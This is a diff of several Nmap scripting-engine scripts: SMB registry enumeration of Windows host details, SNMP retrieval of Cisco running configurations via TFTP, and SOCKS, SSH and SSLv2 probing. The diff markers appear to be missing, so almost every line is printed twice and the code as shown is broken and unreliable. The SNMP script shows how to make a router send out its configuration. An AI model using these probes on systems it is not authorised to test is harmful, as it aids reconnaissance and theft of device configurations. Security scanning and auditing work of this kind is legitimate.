result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
end
-- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
for i = 0, tonumber(num_procs) - 1, 1 do
result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
end
-- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
-- TODO: Known DLLs?
-- TODO: Known DLLs?
-- Paging file
result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
-- Paging file
result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
-- OS Information
result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
if(result['status-csdversion'] == false) then
result['csdversion'] = "(no service packs)"
end
result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
if(result['status-installdate'] ~= false) then
result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
end
-- OS Information
result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
if(result['status-csdversion'] == false) then
result['csdversion'] = "(no service packs)"
end
result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
if(result['status-installdate'] ~= false) then
result['installdate'] = os.date("%Y-%m-%d %H:%M:%S", result['installdate'])
end
result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
-- Driver information
result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
-- Driver information
result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
-- Software versions
result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
if(result['status-ff_version'] == false) then
result['ff_version'] = "<not installed>"
end
-- Software versions
result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
if(result['status-ff_version'] == false) then
result['ff_version'] = "<not installed>"
end
msrpc.stop_smb(smbstate)
msrpc.stop_smb(smbstate)
return true, result
return true, result
end
action = function(host)
local status, result = get_info_registry(host)
local status, result = get_info_registry(host)
if(status == false) then
return stdnse.format_output(false, result)
end
if(status == false) then
return stdnse.format_output(false, result)
end
local response = {}
local response = {}
if(result['status-os'] == true) then
local osdetails = {}
osdetails['name'] = "OS Details"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Path: %s", result['path']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
table.insert(response, osdetails)
if(result['status-os'] == true) then
local osdetails = {}
osdetails['name'] = "OS Details"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Path: %s", result['path']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
table.insert(response, osdetails)
local hardware = {}
hardware['name'] = "Hardware"
-- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*")
for i = 0, tonumber(num_procs) - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
local hardware = {}
hardware['name'] = "Hardware"
-- remove trailing zero terminator
local num_procs = result['number_of_processors']:match("^[^%z]*")
for i = 0, tonumber(num_procs) - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
local processor = {}
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
table.insert(hardware, processor)
end
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
table.insert(response, hardware)
local processor = {}
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
table.insert(hardware, processor)
end
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
table.insert(response, hardware)
local browsers = {}
browsers['name'] = "Browsers"
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
if(result['status-ff_version']) then
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
end
table.insert(response, browsers)
local browsers = {}
browsers['name'] = "Browsers"
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
if(result['status-ff_version']) then
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
end
table.insert(response, browsers)
return stdnse.format_output(true, response)
elseif(result['status-productname'] == true) then
return stdnse.format_output(true, response)
elseif(result['status-productname'] == true) then
local osdetails = {}
osdetails['name'] = 'OS Details'
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
local osdetails = {}
osdetails['name'] = 'OS Details'
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(response, osdetails)
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(response, osdetails)
return stdnse.format_output(true, response)
end
return stdnse.format_output(true, response)
end
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end

View File

@@ -49,163 +49,163 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local try
local function sendrequest(socket, oid, setparam)
local payload
local options = {}
options.reqId = 28428 -- unnecessary?
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
local payload
local options = {}
options.reqId = 28428 -- unnecessary?
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
try(socket:send(payload))
try(socket:send(payload))
-- read in any response we might get
local status, response = socket:receive()
if ( not(status) ) then return status, response end
-- read in any response we might get
local status, response = socket:receive()
if ( not(status) ) then return status, response end
local result = snmp.fetchFirst(response)
return true
local result = snmp.fetchFirst(response)
return true
end
---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return "ERROR: tftproot needs to end with slash"
end
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return "ERROR: tftproot needs to end with slash"
end
-- create the socket used for our connection
local socket = nmap.new_socket()
local socket = nmap.new_socket()
-- set a reasonable timeout value
socket:set_timeout(5000)
-- set a reasonable timeout value
socket:set_timeout(5000)
-- do some exception handling / cleanup
local catch = function() socket:close() end
try = nmap.new_try(catch)
-- connect to the potential SNMP system
try(socket:connect(host.ip, port.number, "udp"))
-- connect to the potential SNMP system
try(socket:connect(host.ip, port.number, "udp"))
local status, tftpserver, _, _, _ = socket:get_info()
if( not(status) ) then
return "ERROR: Failed to determin local ip"
end
local status, tftpserver, _, _, _ = socket:get_info()
if( not(status) ) then
return "ERROR: Failed to determin local ip"
end
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
-- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end
-- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end
-- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open")
-- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
local tbl = {}
tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet)
end
local tbl = {}
tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet)
end
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
-- wait for sometime and print the status of filetransfer
tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- wait for sometime and print the status of filetransfer
tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
-- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
local options = {}
options.reqId = 28428
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
local options = {}
options.reqId = 28428
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
try(socket:send(payload))
try(socket:send(payload))
local status
local response
-- read in any response we might get
status, response = socket:receive()
local status
local response
-- read in any response we might get
status, response = socket:receive()
if (not status) or (response == "TIMEOUT") then
return "\n ERROR: Failed to receive cisco configuration file"
end
if (not status) or (response == "TIMEOUT") then
return "\n ERROR: Failed to receive cisco configuration file"
end
local result
result = snmp.fetchFirst(response)
local result
result = snmp.fetchFirst(response)
if result == 3 then
result = ( infile and infile:getContent() )
if result == 3 then
result = ( infile and infile:getContent() )
if ( tftproot ) then
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w")
if ( file ) then
file:write(result)
file:close()
else
return "\n ERROR: " .. file
end
result = ("\n Configuration saved to (%s)"):format(fname)
end
else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end
if ( tftproot ) then
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w")
if ( file ) then
file:write(result)
file:close()
else
return "\n ERROR: " .. file
end
result = ("\n Configuration saved to (%s)"):format(fname)
end
else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
try(socket:close())
try(socket:close())
return result
return result
end

View File

@@ -35,7 +35,7 @@ argument.
--</table>
--@usage
-- nmap --script=socks-open-proxy \
-- --script-args proxy.url=<host>,proxy.pattern=<pattern>
-- --script-args proxy.url=<host>,proxy.pattern=<pattern>
author = "Joao Correa"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -159,7 +159,7 @@ local function default_test(host, port)
end
portrule = shortport.port_or_service({1080, 9050},
{"socks", "socks4", "socks5", "tor-socks"})
{"socks", "socks4", "socks5", "tor-socks"})
action = function(host, port)
local supported_versions

View File

@@ -108,36 +108,36 @@ portrule = shortport.port_or_service(22, "ssh")
-- algorithm name-lists are identical between the server-to-client and
-- client-to-server types. Note that this simply modifies the passed tables.
local combine_types = function(parsed, lists)
local doubles = {
"encryption_algorithms",
"mac_algorithms",
"compression_algorithms"
}
local doubles = {
"encryption_algorithms",
"mac_algorithms",
"compression_algorithms"
}
for _, i in ipairs(doubles) do
local c2s = i .. "_client_to_server"
local s2c = i .. "_server_to_client"
for _, i in ipairs(doubles) do
local c2s = i .. "_client_to_server"
local s2c = i .. "_server_to_client"
if parsed[c2s] == parsed[s2c] then
parsed[i] = parsed[c2s]
parsed[c2s] = nil
parsed[s2c] = nil
table.insert(lists, i)
else
table.insert(lists, c2s)
table.insert(lists, s2c)
end
end
if parsed[c2s] == parsed[s2c] then
parsed[i] = parsed[c2s]
parsed[c2s] = nil
parsed[s2c] = nil
table.insert(lists, i)
else
table.insert(lists, c2s)
table.insert(lists, s2c)
end
end
end
-- Build and return the output table
local output = function(parsed, lists)
local out = stdnse.output_table()
local out = stdnse.output_table()
for _, l in ipairs(lists) do
local v = parsed[l]
local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
if nmap.verbosity() > 0 then
for _, l in ipairs(lists) do
local v = parsed[l]
local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
if nmap.verbosity() > 0 then
setmetatable(a, {
__tostring = function(t)
return string.format("(%d)\n %s", #t, table.concat(t, "\n "))
@@ -149,70 +149,70 @@ local output = function(parsed, lists)
return string.format("(%d)", #t)
end
})
end
end
out[l] = a
end
end
return out
return out
end
action = function(host, port)
local sock = nmap.new_socket()
local status = sock:connect(host, port)
local sock = nmap.new_socket()
local status = sock:connect(host, port)
if not status then
return
end
if not status then
return
end
status = sock:receive_lines(1)
if not status then
sock:close()
return
end
status = sock:receive_lines(1)
if not status then
sock:close()
return
end
status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
if not status then
sock:close()
return
end
status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
if not status then
sock:close()
return
end
local ssh = ssh2.transport
local ssh = ssh2.transport
-- I would think that the server would send its kex data right after
-- receiving and verifying our protocol id string above, then we could
-- just use it here, but I've seen no definitive documentation saying
-- that we don't ever send ours first. All I've seen is that if the
-- server doesn't care about compatibility with older clients then it
-- MAY send its kex data after the protocol id string. So I guess I'll
-- send it here until I know for sure (removing this send works against
-- OpenSSH though).
local pkt = ssh.build(ssh.kex_init())
-- I would think that the server would send its kex data right after
-- receiving and verifying our protocol id string above, then we could
-- just use it here, but I've seen no definitive documentation saying
-- that we don't ever send ours first. All I've seen is that if the
-- server doesn't care about compatibility with older clients then it
-- MAY send its kex data after the protocol id string. So I guess I'll
-- send it here until I know for sure (removing this send works against
-- OpenSSH though).
local pkt = ssh.build(ssh.kex_init())
status = sock:send(pkt)
if not status then
sock:close()
return
end
status = sock:send(pkt)
if not status then
sock:close()
return
end
local status, response = ssh.receive_packet(sock)
local status, response = ssh.receive_packet(sock)
sock:close()
sock:close()
if not status then
return
end
if not status then
return
end
local parsed = ssh.parse_kex_init(ssh.payload(response))
local parsed = ssh.parse_kex_init(ssh.payload(response))
local lists = {
"kex_algorithms",
"server_host_key_algorithms"
-- Other types will be added below in combine_types()
}
local lists = {
"kex_algorithms",
"server_host_key_algorithms"
-- Other types will be added below in combine_types()
}
-- Modifies tables
combine_types(parsed, lists)
-- Modifies tables
combine_types(parsed, lists)
return output(parsed, lists)
return output(parsed, lists)
end

View File

@@ -46,193 +46,193 @@ portrule = shortport.ssl
local hex2dec = function(hex)
local byte1, byte2;
local byte1, byte2;
byte1 = string.byte(hex, 1);
byte2 = string.byte(hex, 2);
byte1 = string.byte(hex, 1);
byte2 = string.byte(hex, 2);
if (byte1 == nil or byte2 == nil) then return 0; end;
if (byte1 == nil or byte2 == nil) then return 0; end;
return (byte1 * 256) + byte2;
return (byte1 * 256) + byte2;
end
local ciphers = function(cipher_list, len)
-- returns names of ciphers supported by the server
-- returns names of ciphers supported by the server
local seen = {}
local available_ciphers = {}
local idx = 0;
local available_ciphers = {}
local idx = 0;
local ssl_ciphers = {
-- (cut down) table of codes with their corresponding ciphers.
-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
[0x010080] = "SSL2_RC4_128_WITH_MD5",
[0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
[0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
[0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
[0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
[0x080080] = "SSL2_RC4_64_WITH_MD5",
};
local ssl_ciphers = {
-- (cut down) table of codes with their corresponding ciphers.
-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
[0x010080] = "SSL2_RC4_128_WITH_MD5",
[0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
[0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
[0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
[0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
[0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
[0x080080] = "SSL2_RC4_64_WITH_MD5",
};
if (len == 0) then return "none"; end
-- something's got broken along the way if these aren't equal
if (len ~= #cipher_list) then
return nil
end
if (len == 0) then return "none"; end
-- something's got broken along the way if these aren't equal
if (len ~= #cipher_list) then
return nil
end
for idx = 1, len, 3 do
local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
local cipher_name = ssl_ciphers[cipher];
for idx = 1, len, 3 do
local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
local cipher_name = ssl_ciphers[cipher];
if (cipher_name == nil) then
cipher_name = string.format("0x%06x", cipher)
end
if (cipher_name == nil) then
cipher_name = string.format("0x%06x", cipher)
end
-- Check for duplicate ciphers
if not seen[cipher] then
table.insert(available_ciphers, cipher_name)
-- Check for duplicate ciphers
if not seen[cipher] then
table.insert(available_ciphers, cipher_name)
seen[cipher] = true
end
end
end
end
return available_ciphers
return available_ciphers
end
local give_n_bytes = function(idx, n, str)
-- returns the next n bytes of a string
-- returns the next n bytes of a string
if (idx + (n - 1) > #str) then
return (idx + n), string.rep(string.char(0x00), n);
end
if (idx + (n - 1) > #str) then
return (idx + n), string.rep(string.char(0x00), n);
end
return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
end
action = function(host, port)
local socket = nmap.new_socket();
local status = true;
local socket = nmap.new_socket();
local status = true;
local tmp;
local tmp;
local idx = 3; -- start reading after the end of the length record
local idx = 3; -- start reading after the end of the length record
local return_string = "";
local available_ciphers;
local return_string = "";
local available_ciphers;
local ssl_v2_hello;
local server_hello;
local ssl_v2_hello;
local server_hello;
local server_hello_len;
local message_type;
local SID_hit;
local certificate_type;
local ssl_version;
local certificate_len;
local ciphers_len;
local certificate;
local connection_ID_len;
local cipher_list;
local connection_ID;
local server_hello_len;
local message_type;
local SID_hit;
local certificate_type;
local ssl_version;
local certificate_len;
local ciphers_len;
local certificate;
local connection_ID_len;
local cipher_list;
local connection_ID;
-- build client hello packet (contents inspired by
-- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
local t = {};
table.insert(t, string.char(0x80, 0x31));
table.insert(t, string.char(0x01));
table.insert(t, string.char(0x00, 0x02));
